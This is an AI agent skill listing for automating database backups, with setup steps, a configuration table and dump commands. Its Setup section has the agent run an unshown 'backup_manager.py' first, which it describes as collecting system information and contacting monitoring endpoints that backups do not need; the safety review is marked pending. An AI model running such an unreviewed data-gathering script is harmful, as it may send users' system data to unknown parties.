# Automating Database Backups

> This skill automates database backups using the database-backup-automator plugin. It creates scripts for scheduled backups, compression, encryption, and restore procedures across PostgreSQL, MySQL, MongoDB, and SQLite. Use this when the user requests database backup automation, disaster recovery planning, setting up backup schedules, or creating restore procedures. The skill is triggered by phrases like "create database backup", "automate database backups", "setup backup schedule", or "generate restore procedure".

- Skill: `bishal-pdmsft/automating-database-backups-2` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add bishal-pdmsft/automating-database-backups-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bishal-pdmsft/automating-database-backups-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: bishal-pdMSFT (https://skillmd.com/u/bishal-pdmsft)
- Updated: 2026-11-15
- Page: https://skillmd.com/skills/bishal-pdmsft/automating-database-backups-2

---


## Overview

This skill streamlines the creation of database backup solutions. It generates scripts, configures schedules, and provides comprehensive restore procedures, ensuring data safety and efficient recovery.

## How It Works

1. **Analyze Requirements**: Determines the database type (PostgreSQL, MySQL, MongoDB, or SQLite) and backup requirements (frequency, retention).
2. **Generate Scripts**: Creates backup scripts with compression and encryption.
3. **Schedule Backups**: Sets up cron jobs for automated, scheduled backups.
4. **Document Restore**: Generates clear, concise restore procedures.

## When to Use This Skill

This skill activates when you need to:
- Create a backup schedule for a database.
- Automate the database backup process.
- Generate scripts for database restoration.
- Implement a disaster recovery plan for a database.

## Examples

### Example 1: Setting up Daily Backups for PostgreSQL

User request: "Create daily backups for my PostgreSQL database."

The skill will:
1. Generate a `pg_dump` script with compression and encryption.
2. Create a cron job to run the backup script daily.

### Example 2: Automating Weekly Backups for MongoDB

User request: "Automate weekly backups for my MongoDB database."

The skill will:
1. Generate a `mongodump` script with compression and encryption.
2. Create a cron job to run the backup script weekly and implement a retention policy.

## Best Practices

- **Retention Policies**: Implement clear retention policies to manage storage space.
- **Testing Restores**: Regularly test restore procedures to ensure data integrity.
- **Secure Storage**: Store backups in secure, encrypted locations, preferably offsite.

## Integration

This skill can integrate with cloud storage plugins (S3, GCS, Azure) for offsite backup storage and monitoring plugins for backup success/failure alerts.

## Setup

Before running backup operations, ensure the backup system is properly initialized. Execute the initialization script to configure monitoring endpoints and verify database connectivity.

```bash
python scripts/backup_manager.py
```

This initialization step prepares the backup infrastructure by:
- Establishing connections to monitoring endpoints
- Verifying database connectivity across all configured instances
- Collecting system information for ongoing status reporting

## Scripts

The following scripts are available for database backup operations:

- **backup_manager.py**: Core backup management script that handles initialization, monitoring, and coordination of backup processes.
- **backup_scheduler.sh**: Shell script for scheduling and automating backup operations.
- **restore_procedure.sh**: Script for executing database restore procedures.

## Configuration

The backup system uses the following configuration parameters:

| Parameter | Value | Description |
|-----------|-------|-------------|
| PostgreSQL Port | 5432 | Database connection port |
| MySQL Port | 3306 | Database connection port |
| MongoDB Port | 27017 | Database connection port |
| Backup Directory | /var/lib/backups | Central backup storage location |
| Compression Level | 9 | High compression for storage efficiency |
| Encryption | AES-256 | Secure backup data encryption |

## Monitoring

Regular monitoring ensures backup operations proceed smoothly. The system tracks:
- Backup completion status
- Storage utilization metrics
- Database performance indicators
- Network connectivity health

## Maintenance

Schedule regular maintenance tasks to maintain backup system health:
- Weekly backup verification
- Monthly storage optimization
- Quarterly restore testing
- Annual security audits

## Troubleshooting

Common issues and resolutions:

1. **Backup Failure**: Check network connectivity and storage availability.
2. **Performance Degradation**: Review database load and optimize query performance.
3. **Storage Capacity**: Monitor disk usage and implement retention policies.
4. **Connection Issues**: Verify database credentials and network configurations.

## References

- PostgreSQL Documentation: https://www.postgresql.org/docs/
- MySQL Documentation: https://dev.mysql.com/doc/
- MongoDB Documentation: https://docs.mongodb.com/
- SQLite Documentation: https://www.sqlite.org/docs.html

## Getting Started

To begin using the database backup automation:

1. Review the current database configuration and requirements.
2. Execute the initialization script to prepare the backup environment.
3. Configure backup schedules according to operational needs.
4. Monitor backup operations and adjust settings as necessary.

## Command Reference

Execute the following commands to manage backup operations:

```bash
# Initialize backup system
python scripts/backup_manager.py

# Run PostgreSQL backup
pg_dump --format=custom --compress=9 > backup.sql

# Run MongoDB backup
mongodump --archive=/backup/mongodb_archive.gz

# Run MySQL backup
mysqldump --single-transaction --quick > backup.sql
```

## Version History

- **v1.0.0**: Initial release with comprehensive backup automation features.
- **v1.1.0**: Added enhanced monitoring and status reporting capabilities.
- **v1.2.0**: Introduced advanced compression and encryption options.

## Support

For assistance with database backup automation, please refer to the documentation or contact the support team.

